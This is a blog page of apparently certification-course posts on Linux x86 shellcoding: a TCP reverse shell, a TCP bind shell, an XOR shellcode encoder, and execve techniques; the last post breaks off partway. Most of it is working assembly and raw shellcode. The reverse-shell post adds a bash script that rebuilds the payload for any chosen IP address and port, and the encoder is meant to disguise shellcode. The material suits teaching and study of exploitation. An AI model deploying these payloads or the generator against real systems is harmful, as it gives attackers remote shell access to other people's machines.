Shellcoding Linux x86 – Reverse Shell TCP – Assignment 2

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

Code structure:

  • 1. Create a socket
  • 2. Connect to a IP and port
  • 3. Redirect STDIN, STDOUT and STDERR to the client connection
  • 4. Execute a shell

Again, I prepared an example coded in C:

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

int main(){
	// man socket
	int host_socket = socket(AF_INET, SOCK_STREAM, 0);

	// man 7 ip
	struct sockaddr_in host_address;

	host_address.sin_family = AF_INET;
	// man htons
	host_address.sin_port = htons(8888);
	host_address.sin_addr.s_addr = inet_addr("127.0.0.1");	

	//man connect
	connect(host_socket, (struct sockaddress *)&host_address, sizeof(host_address));

	// man dup
	dup2(host_socket, 0);
	dup2(host_socket, 1);
	dup2(host_socket, 2);

	// man execve
	execve("/bin/sh", NULL, NULL);
}

1. Create a socket

We already know how to do this part, it’s explained step by step in the previous blog post:

https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/

; Part 1
; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);

mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd

2 . Connect to an IP and a port

If we check the man page, we can see what arguments we need to pass to connect function:

; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

If we remember the bind function from the previous assignment is almost the same:

; socket syscall
xor eax, eax
mov al, 0x66
mov ebx, 0x2

; struct sockaddr
xor edx, edx
push edx
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; bind arguments
push 0x10
push ecx
push edi
mov ecx, esp

int 0x80

Nevertheless, we need to do a change, we need to pass the IP address where we want to connect.

First of all, we need to convert the address to hex, we can use this python function:

[socket@xxxxx ~]$ python
Python 3.7.2 (default, Jan 10 2019, 23:51:51) 
[GCC 8.2.1 20181127] on linux
...
>>> import socket
>>> socket.inet_aton('127.0.0.1')
b'\x7f\x00\x00\x01' // it has nulls, we can't use it
>>> socket.inet_aton('127.1.1.1')
b'\x7f\x01\x01\x01'

And now, let’s modify our previous code. We are going to push the hex address for the IP, and modify EBX to contain a 3 that is SYS_CONNECT.

; Part 2
; Connect
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

; socket syscall
xor eax, eax
mov al, 0x66
mov bl, 0x2

; struct sockaddr
push 0x0101017f ; ip address 127.1.1.1
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; connect arguments
push 0x10
push ecx
push edi
mov ecx, esp
mov bl, 0x3 ; sys_connect

int 0x80

3. Duplicate the file descriptors

We are going to use the same code that we used in the previous assignment:

https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/

But we need to store sockfd in EBX, because is needed in dup as a parameter. So we are going to do:

mov ebx, edi ; moving sockfd

Final code of this part:

; Part 3
; Duplicate file descriptors
; int dup2(int oldfd, int newfd);

mov ebx, edi ; moving sockfd

xor ecx, ecx
mov cl, 0x2
fd:
	mov al, 0x3f
	int 0x80
	dec ecx
	jns fd ; when ecx is 0 it will jump out of the loop

4. Execute a shell

Exactly the same code that we used in the previous assignment:

https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/

This part of code:

; Part 4
; Execute a shell
; int execve(const char *filename, char *const argv[],

mov al, 0xb
xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

mov ebx, esp

int 0x80

We put all together, and this is the final code:

; Filename: reverse_shell.nasm
; Author:  Xavier Beltran
; Course: SLAE - Pentester Academy

global _start			

section .text
_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx



; Part 1
; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);

mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd



; Part 2
; Connect
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

; socket syscall
xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x2

; struct sockaddr
push 0x0101017f ; ip address 127.0.0.1
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; connect arguments
push 0x10
push ecx
push edi
mov ecx, esp
mov bl, 0x3 ; sys_connect

int 0x80



; Part 3
; Duplicate file descriptors
; int dup2(int oldfd, int newfd);

;mov ebx, edi ; moving sockfd
xchg ebx, edi

xor ecx, ecx
mov cl, 0x2
fd:
	mov al, 0x3f
	int 0x80
	dec ecx
	jns fd ; when ecx is 0 it will jump out of the loop



; Part 4
; Execute a shell
; int execve(const char *filename, char *const argv[],

mov al, 0xb
xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

mov ebx, esp

int 0x80

This if the final shellcode:

"\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x01\x01\x01\x66\x68\x22\xb8\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

And it works!


Port and IP address changer:

I did this bash script to automate the process of selecting a different ip address and port. Here is the code:

#!/bin/bash

# ip address
ip_address=$1

ip_1=$(echo $ip_address | awk -F '.' '{print$1}')
ip_2=$(echo $ip_address | awk -F '.' '{print$2}')
ip_3=$(echo $ip_address | awk -F '.' '{print$3}')
ip_4=$(echo $ip_address | awk -F '.' '{print$4}')

ip_hex1=$(echo "obase=16; $ip_1" | bc)
ip_hex2=$(echo "obase=16; $ip_2" | bc)
ip_hex3=$(echo "obase=16; $ip_3" | bc)
ip_hex4=$(echo "obase=16; $ip_4" | bc)

if [ $(echo $ip_hex1 | wc -c) == 2 ]
then
	ip_hex1=$(echo $ip_hex1 | sed 's/^/0/')
fi

if [ $(echo $ip_hex2 | wc -c) == 2 ]
then
	ip_hex2=$(echo $ip_hex2 | sed 's/^/0/')
fi

if [ $(echo $ip_hex3 | wc -c) == 2 ]
then
	ip_hex3=$(echo $ip_hex3 | sed 's/^/0/')
fi

if [ $(echo $ip_hex4 | wc -c) == 2 ]
then
	ip_hex4=$(echo $ip_hex4 | sed 's/^/0/')
fi

echo '[+] IP address values in hex:'
echo $ip_hex4 $ip_hex3 $ip_hex2 $ip_hex1
# 01 01 01 7F

# port
port_hex=$(echo "obase=16; $2" | bc | sed 's/.\{2\}$/:&/')
port_hex1=$(echo $port_hex | awk  -F ':' '{print$2}')
port_hex2=$(echo $port_hex | awk  -F ':' '{print$1}')

if [ $(echo $port_hex1 | wc -c) == 2 ]
then
	port_hex1=$(echo $port_hex1 | sed 's/^/0/')
fi

if [ $(echo $port_hex2 | wc -c) == 2 ]
then
	port_hex2=$(echo $port_hex2 | sed 's/^/0/')
fi

echo '[+] Port converted to hex:'
echo $port_hex1
echo $port_hex2

echo -e '[+] Final Shellcode:'

shellcode="\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x68\x$ip_hex1\x$ip_hex2\x$ip_hex3\x$ip_hex4\x66\x68\x$port_hex2\x$port_hex1\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

echo $shellcode

And here is an screenshot:

Here is a link to my Github account where all the code is stored:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment2

And that’s all for this interesting second assignment!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 – Bind Shell TCP – Assignment 1

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

To achieve the objective of creating a Bind Shell TCP, we need to understand the code structure that we need to create.

Is going to be the following:

  • 1. Create a socket
  • 2. Bind a socket
  • 3. Configure the socket to listen
  • 4. Accept connections to the socket
  • 5. Redirect STDIN, STDOUT, STDERR to the socket
  • 6. Run Execve to execute a shell

A few years ago, for learning purposes I learn how to write a bind shell in C. I’m going to re-write that code and I’m going to use it as a guide to create the final Assembly code.

This is the Bind Shell TCP C code:

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

int main(){
	// man socket
	int host_socket = socket(AF_INET, SOCK_STREAM, 0);

	// man 7 ip
	struct sockaddr_in host_address;

	host_address.sin_family = AF_INET;
	// man htons
	host_address.sin_port = htons(8888);
	host_address.sin_addr.s_addr = INADDR_ANY;	
	
	// man bind
	bind(host_socket, (struct sockaddr *)&host_address, sizeof(host_address));

	// man listen
	listen(host_socket, 0);

	// man 2 accept
	int client_socket = accept(host_socket, NULL, NULL);

	// man dup
	dup2(client_socket, 0);
	dup2(client_socket, 1);
	dup2(client_socket, 2);

	// man execve
	execve("/bin/sh", NULL, NULL);

Now that we have a clear structure to follow. Let’s create the code step by step.


0. Structure of the program and preparing the registers

Before starting with more complicated stuff. Le’ts create the structure of our Assembly code, and set the registers to 0 without putting any null bytes in our code.

We can do that like this:

global _start

section .text
_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx

1. Create a socket:

First of all, I want to know what system call I have to use to create a socket. We can find it reading the following file:

socket@ubuntu:~/Assesments/1$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
#define __NR_socketcall 102

So the syscall has the number 102.

After that, let’s try to understand how we can open a socket in linux. We are going to use the command: man socket

And: man socketcall

The first step that we need to do, is to call the first function:

; int socketcall(int call, unsigned long *args);

So we have to prepare our registers:

  • EAX must be the system call number 102
  • EBX has the be the call variable, that neds to be 1
  • ECX has to contain the args

To understand why EBX has to be 1, we can read the following file: /usr/include/linux/net.h

As you can see in the image above, the SYS_SOCKET creation match the number 1.

The second step, is to prepare the arguments. The arguments that we need to pass are the args variable that the function socket needs, and we are going to use the stack to pass them.

; int socket(int domain, int type, int protocol);

The first argument, it’s domain, we can look in the file /usr/include/i386-linux-gnu/bits/socket.h. It needs to contain a 2.

/* Protocol families.  */
...
#define	PF_INET		2	/* IP protocol family.  */

The second variable type, we can find what value we need to use in the file: /usr/src/linux-headers-4.4.0-31/include/linux/net.h. It has to contain a 1.

cat /usr/src/linux-headers-4.4.0-31/include/linux/net.h | grep SOCK_STREAM
 * @SOCK_STREAM: stream (connection) socket SOCK_STREAM = 1,

The third and last variable is the protocol, again we can identify what number we need to use here reading linux documentation. In this case the file: /etc/protocols. So it has to contain a 0.

socket@ubuntu:~/Assesments/1$ cat /etc/protocols
...
ip	0	IP		# internet protocol, pseudo protocol number

If we put all these together. We are going to create the following code:

; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);

mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd

2. Bind a socket:

In this point, we have created a socket, and now we need to bind it. To do that we have to use the socketcall again, but this time we need to set the call argument to 2 that is SYS_BIND.

; int socketcall(int call, unsigned long *args);
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Again, we prepare our registers:

  • EAX should be the system call 102
  • EBX is the call variable, in this case 2
  • ECX contains the arguments

After preparing the registers, we need to know the values of the bind function parameters and save them in the stack

  • sockfd is our socket, we stored this value inside edi register in the previous step
  • sockaddr is a struct that contains: sin_family, sin_port and sin_addr
  • socklen is the length of the struct above

Here is the key point of this exercise. We need to store in the stack first the struct that contains the 3 variables, save that in ECX register. And after, we save into the stack the bind parameters, and again save them into ECX.

So, let’s start for the last one, remember that we need to push them in reverse order. It’s a 0, is the address 0.0.0.0 that makes the socket listen in all the interfaces.

push ebx ; 0

The next one is the port in reverse byte order. In this case I’m going to use the port 8888, that is going to be 0x22b8 but in reverse order is 0xb822.

push word 0xb822 ; port 8888

The last one is AF_INET that as we know, from the previous step, is 2.

push ebx; AF_INET = 2

Let’s save it in ECX. So we point ECX to the top of the stack.

mov ecx, esp

With the variables of the struct in the correct position, now we have to prepare the variables of the bind function. That we already know what they are. As always we need to push them in inverse order.

The first one is the size of the struct, that is 16, in hex is 0x10

push 0x10

The second one, is the struct that we prepared before and we stored it in ECX.

push ecx

The last one, and the first parameter of bind function is sockfd. If you remember the previous step, we stored it in edi.

push edi

Ok. Now all the parameters are prepared. So we need to store it in ECX. Let’s point ECX to the top of the stack and call the interrupt 0x80

mov ecx, esp
int 0x80

And here is the final code of this step:

; Bind a socket
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

; socket syscall
xor eax, eax
mov al, 0x66
mov ebx, 0x2

; struct sockaddr
xor edx, edx
push edx
push word 0xb822
push bx
mov ecx, esp

; bind arguments
push 0x10
push ecx
push edi
mov ecx, esp

int 0x80

3 . Configure the socket to listen

And other time, we are going to use socketcall, but this time we need to set the call argument to 4 that is SYS_LISTEN.

; int socketcall(int call, unsigned long *args);
; int listen(int sockfd, int backlog);

Let ‘s prepare the registers:

  • EAX must be the system call 102
  • EBX has to be the call variable that in this case is 4
  • ECX has to contain the arguments of the listen function

So, we can do:

xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x4

If we see the function listen, it asks for 2 arguments, the first one it’s already familiar to us, and we have it stored in EDI register. To understand the second one, we can run the command: man 2 listen.

In this case, we have to setup the backlog to 1, we only want one connection.

So as always, we need to push the parameters in inverse order.

push 0x1; backlog
push edi; sockfd

And then we point ECX to the top of the stack.

mov ecx, esp

And call the interrupt.

int 0x80

The final code of this step:

; Set a socket to listen
; int socketcall(int call, unsigned long *args);
; int listen(int sockfd, int backlog);

xor eax, eax
mov al, 0x66 ; socketcall
xor ebx, ebx
mov bl, 0x4 ; call

push eax ; backlog
push edi ; socketfd
mov ecx, esp

int 0x80

4. Accept connections

We need to use socketcall syscall, and the call argument has to be 5 that is SYS_ACCEPT.

; int socketcall(int call, unsigned long *args);
; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);

As always, first we prepare the registers

  • EAX must be the system call number 102
  • EBX hast o be the call variable that in this case is 5
  • ECX has to contain the arguments

We can set them like this:

xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x5

If we see the function accept, it asks for 2 arguments, the usual, first one sockfd that is stored in EDI register. The other two, as we can see in the C program code need to be null.

So we can execute the following instructions.

xor edx, edx
push edx
push edx
push edi

We point ECX to the top of the stack.

mov ecx, esp

And call the interrupt.

int 0x80

After calling the interrupt, we need to store the return of the function in another register, EBX is the perfect one, because is one to be the argument of the following step.

mov ebx, eax

So the final code for the accept call has can be the following:

; Set the socket to accept connections
; int socketcall(int call, unsigned long *args);
; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);

xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x5

xor edx, edx
push edx ; 0
push edx ; 0
push edi ; socketfd

mov ecx, esp

mov bl, 0x5 ; SYS_ACCEPT

int 0x80

mov ebx, eax ; move created client_s

5. Redirect STDIN, STDOUT, STDERR to the client connection

The next step is to duplicate the file descriptors: STDIN, STDOUT and STDERR. To do it we are going to use the dup system call.

; int dup2(int oldfd, int newfd);

We identify the system call number, and we see that is the number 63 the equivalent in hex is 0x3f

socket@ubuntu:~/Assesments/1$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep -i dup2
#define __NR_dup2 63

We need to redirect the three file descriptors, we can do it without a loop, but I think it’s cleaner. So we are going to use the loop function and the JNS instruction to end the loop.

The loop structure is going to be the following:

xor ecx, ecx
mov cl, 0x2
fd:
    <code>
    dec ecx
    jns loop ; when ecx is 0 it will jump out of the loop

We also need to prepare the registers to the system call dup2:

  • EAX has to be the number 63 in hex
  • EBX it’s already sockfd, we prepared it in the last step
  • ECX hast o be 0, 1 and 2. This is the reason why we used a loop

So inside the loop we have to do:

mov al, 0x3f ; systemcall 63
0x80

Putting all this together, the final code for this part can be:

; int dup2(int oldfd, int newfd);

xor ecx, ecx
mov cl, 0x2

fd:
    mov al, 0x3f
    int 0x80
    dec ecx
    jns fd ; when ecx is 0 it will jump out of the loop

Run Execve to execute a shell

We are going to use the system call Execve to run an sh shell.

; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", NULL, NULL); 

We identify execve system call number:

socket@ubuntu:~/Assesments/1$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep -i execve
#define __NR_execve 11

Registers preparation:

  • EAX needs to be the system call number 11, that is 0xb in hex
  • EBX is the “//bin/sh” string that we are going to store in the top of the stack
  • ECX and EDX needs to be 0

The command that we want to run is /bin/sh but it has 7 bytes and we need to have multiples of 4 because we want to save it in the stack.

We can use the following python program that is shared by Vivek Ramachandran.

#!/usr/bin/python
import sys
input = sys.argv[1]
print 'String length : ' +str(len(input))
stringList = [input[i:i+4] for i in range(0, len(input), 4)]
for item in stringList[::-1] :
	print item[::-1] + ' : ' + str(item[::-1].encode('hex'))

So we used to identify the values in hex of the string “//bin/bash”.

The string needs to be terminated by a null. So we have to do:

xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

After, we point EBX to the top of the stack.

mov ebx, esp

The final code of execve part:

; Execve
; int execve(const char *filename, char *const argv[],

mov al, 0xb
xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

mov ebx, esp

int 0x80

Final code:

; Filename: bind_shell.nasm
; Author:  Xavier Beltran
; Course: SLAE - Pentester Academy

global _start			

section .text
_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx



; Part 1
; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);

mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd



; Part 2
; Bind a socket
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

; socket syscall
xor eax, eax
mov al, 0x66
mov ebx, 0x2

; struct sockaddr
xor edx, edx
push edx
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; bind arguments
push 0x10
push ecx
push edi
mov ecx, esp

int 0x80



; Part 3
; Set a socket to listen
; int listen(int sockfd, int backlog);

xor eax, eax
mov al, 0x66 ; socketcall
xor ebx, ebx
mov bl, 0x4 ; call

push eax ; backlog
push edi ; socketfd
mov ecx, esp

int 0x80



; Part 4
; Set the socket to accept connections
; int socketcall(int call, unsigned long *args);
; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);

xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x5

xor edx, edx
push edx ; 0
push edx ; 0
push edi ; socketfd

mov ecx, esp

mov bl, 0x5 ; SYS_ACCEPT

int 0x80

mov ebx, eax ; move created client_s



; Part 5
; Duplicate file descriptors
; int dup2(int oldfd, int newfd);

xor ecx, ecx
mov cl, 0x2
fd:
	mov al, 0x3f
	int 0x80
	dec ecx
	jns fd ; when ecx is 0 it will jump out of the loop



; Part 6
; Execute a shell
; int execve(const char *filename, char *const argv[],

mov al, 0xb
xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

mov ebx, esp

int 0x80

And this if the final shellcode. It’s not the smallest one, I tried to focus in understand each step of the process rather than creating a useful shellcode.

"\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\xbb\x02\x00\x00\x00\x31\xd2\x52\x66\x68\x22\xb8\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x50\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x57\x89\xe1\xb3\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

And in the image below you can see that the shellcode works!


Port configuration:

To change the port easily I did this small Bash script.

#!/bin/bash

port_hex=$(echo "obase=16; $1" | bc | sed 's/.\{2\}$/:&/')
port_hex1=$(echo $port_hex | awk  -F ':' '{print$2}')
port_hex2=$(echo $port_hex | awk  -F ':' '{print$1}')

if [ $(echo $port_hex1 | wc -c) == 2 ]
then
	port_hex1=$(echo $port_hex1 | sed 's/^/0/')
fi

if [ $(echo $port_hex2 | wc -c) == 2 ]
then
	port_hex2=$(echo $port_hex2 | sed 's/^/0/')
fi

echo '[+] Port converted to hex:'
echo $port_hex1
echo $port_hex2

echo -e '[+] Final Shellcode:'

shellcode="\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\xbb\x02\x00\x00\x00\x31\xd2\x52\x66\x68\x$port_hex2\x$port_hex1\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x50\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x57\x89\xe1\xb3\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

echo $shellcode

In the image below, you can see how easy is to generate a new shellcode with the chosen port.

Here is the link to my github account that contains all the code used in this exercise:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment1

And that’s all for the first assignment!

Posted in Exploiting | Tagged , , , , , , , , | 2 Comments

Shellcoding Linux x86 XOR Encoder

Following the SLAE course I found an interesting subject that is how to create an encoder to hide our original shellcode.

In this case we are going to use the XOR operation because it has the following property:
(A xor B) xor B = A

So when we xor two values, if after we xor for one of them, we recover the original.

To be able to do this in assembly, in the most simple example we need to select an encoder byte, in this case will be 0xAA. We need to be sure that this byte doesn’t exist in the shellcode that we want to use, because an xor for the same value will give a zero as a result.

Our decoder will XOR the encoded code to recover the original shellcode, and after that, he will pass the control to the decoded shellcode.

In this example, I’m going to use the execve shellcode that I wrote in the last post of the blog:

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  http://securitytube.net
; Training: http://securitytube-training.com 
; Student: Xavi Beltran 

global _start			

section .text
_start:

	; PUSH the first null dword 
	xor eax, eax
	push eax

	; PUSH //bin/sh (8 bytes) 

	push 0x68732f2f
	push 0x6e69622f

	mov ebx, esp

	push eax
	mov edx, esp

	push ebx
	mov ecx, esp


	mov al, 11
	int 0x80

And the shellcode of this code is the following:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Once we have this shellcode compiled and we already verified that it works, we have to encode it using XOR operations. To do it we can use this small Python program:

#!/usr/bin/python

# Python XOR Encoder 

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

for x in bytearray(shellcode) :
	# XOR Encoding 	
	y = x^0xAA
	encoded += '\\x'
	encoded += '%02x' % y

	encoded2 += '0x'
	encoded2 += '%02x,' %y


print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))

The next step is to prepare the skeleton of the program, we are going to use the JMP-CALL-POP technique, I wrote a blog post explaining how this technique works, so if you don’t understand it, you can read it.

This is going to be the main structure of the code without the decoding stuff:

global _start			

section .text
_start:

	jmp short call_decoder

decoder:
	pop esi


call_decoder:
	
	call decoder
	Shellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a

Now let’s understand how to do the loop in Assembly. We need to do 25 times an XOR operation and then jump to the Shellcode:

decoder:
pop esi
xor ecx, ecx
mv cl, 25

decode:
xor byte [esi], 0xAA
inc esi
loop decode

jmp short Shellcode

And here is the final complete code:

; Filename: xor-decoder.nasm
; Author:  Vivek Ramachandran
; Website:  http://securitytube.net
; Training: http://securitytube-training.com 
; Student: Xavi Beltran 

global _start			

section .text
_start:

	jmp short call_decoder

decoder:
	pop esi
	xor ecx, ecx
	mov cl, 25

decode:
	xor byte [esi], 0xAA
	inc esi
	loop decode

	jmp short Shellcode

call_decoder:
	
	call decoder
	Shellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a

And here is the shell:

You can find all the code in my github:

XaviBel Github

I hope you liked it! See you 🙂

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 STACK technique (3/3)

Hello, in this post I will explain how to use execve syscall in a shellcode using the stack technique, the purpose of this shellcode is the same as the last shellcode from the previous post. As I told you in that article, I’m currently studying SLAE certification, and this is a part of the great content of the course.

In this case, we are going to save the data in the stack before moving it to the registers. The data should be saved as multiple of four to get it from the stack using push method.

As you can see the string “/bin/bash” is not a multiple of 4, so we are going to change it to: “////bin/bash”.

The structure that is going to have the stack will be like this, from low memory to high memory:

ECX [////bin/bash address], EDX [0x00000000], EBX ["////bin/bash"], EAX [0x00000000] 

1) EAX register:

xor eax, eax
push eax

2) EBX will store the “////bin/bash” string. The first thing we need to do is to convert this string to hex, to do this we can use this tool that Vivek Ramachandran shows in the course:

#!/usr/bin/python

import sys
input = sys.argv[1]

print 'String length : ' +str(len(input))
stringList = [input[i:i+4] for i in range(0, len(input), 4)]

for item in stringList[::-1] :
	print item[::-1] + ' : ' + str(item[::-1].encode('hex'))

You can see in the image below how I used the script to convert the string to hex and put it in the inverse order.

To save this to the stack we need to do 3 pushes, and after we should save the top of the stack to ebx.

push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
mov ebx, esp

3) A null to EDX

push eax
mov edx, esp

4) ECX needs to contain the address of the string

push ebx,
mov ecx, esp

5) Invoke the syscall

mov al, 11
int 0x80

This is the final Assembly code:

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start			

section .text
_start:

	xor eax, eax
	push eax

	push 0x68736162
	push 0x2f6e6962
	push 0x2f2f2f2f

	mov ebx, esp

	push eax
	mov edx, esp

	push ebx,
	mov ecx, esp

	mov al, 11
	int 0x80

I hope this could be useful for someone. See you! 🙂

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 JMP-CALL-POP technique (2/3)

Following the last article content, we are going to pop a shell instead of printing Hello World in the screen. To do this we are going to use the Execve syscall. This syscall allows us to execute a new program within the shellcode.

Using man execve we can see what parameters does it need.

As you see in the man image, it needs 3 parameters:

  • Parameter 1: Filename: “/bin/bash”, 0x0
  • Parameter 2: Address of /bin/bash, 0x00000000
  • Parameter 3: 0x00000000

If you followed the last post of this blog, you already know what is the JMP-CALL-POP technique. In this case we are going to use it, just to be clear I copy below just the part of the shellcode that is using that technique.

global _start			

section .text
_start:
	jmp short call_shellcode

shellcode:
	pop esi
        ...

call_shellcode:
	call shellcode	
	; A=0 B=address of /bin/bash C=0x00000000
	message db "/bin/bashABBBBCCCC"

Before continuing with the shellcode creation, I’m going to stop here, to remember some Assembly instructions that are going to be useful in this particular case.

mov eax, message ; move address into eax
mov eax, [message] ; move value into eax
mov dword [esi, +10], bl ; move from register into memory starting in position 10
; lea = load efective address = load pointer value
lea ebx, [esi]

Now that we already have a clear scheme of JMP-CALL-POP technique and we refreshed some Assembly instructions, let’s focus in understand how we are going to modify the message string to contain what we need.

We need to modify 3 parts, the A, the BBBB and the CCCC.

1) Convert A into 0x0

xor ebx, ebx
mov byte [esi +9], bl

2) Convert BBBB to address of “/bin/bash” = ESI

; mov dword because is an address
mov dword [esi +10], esi

3) Convert CCCC into 0x00000000

mov dword [esi +14], ebx

Now that we have our message string already prepared, we need to prepare EAX, EBX, ECX and EDX to be able to run execve syscall.

4) EBX must contain the filename

lea ebx, [esi]

5) ECX should be the address of /bin/bash

lea ecx, [esi +10]

6) EDX is null

lea edx, [esi +14]

7) EAX has to contain the syscall number. We can check it in this file:

So EAX needs to be 11, 0xb in hexadecimal

xor eax, eax
mov al, 0xb

The final thing is to invoke the syscall using 0x80. In this call we don’t need to use an exit syscall, it’s exlained in the man page of execve.

Here is the final code:

; Filename: execve.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start			

section .text
_start:
	jmp short call_shellcode

shellcode:
	pop esi

	xor ebx, ebx
	mov byte [esi +9], bl
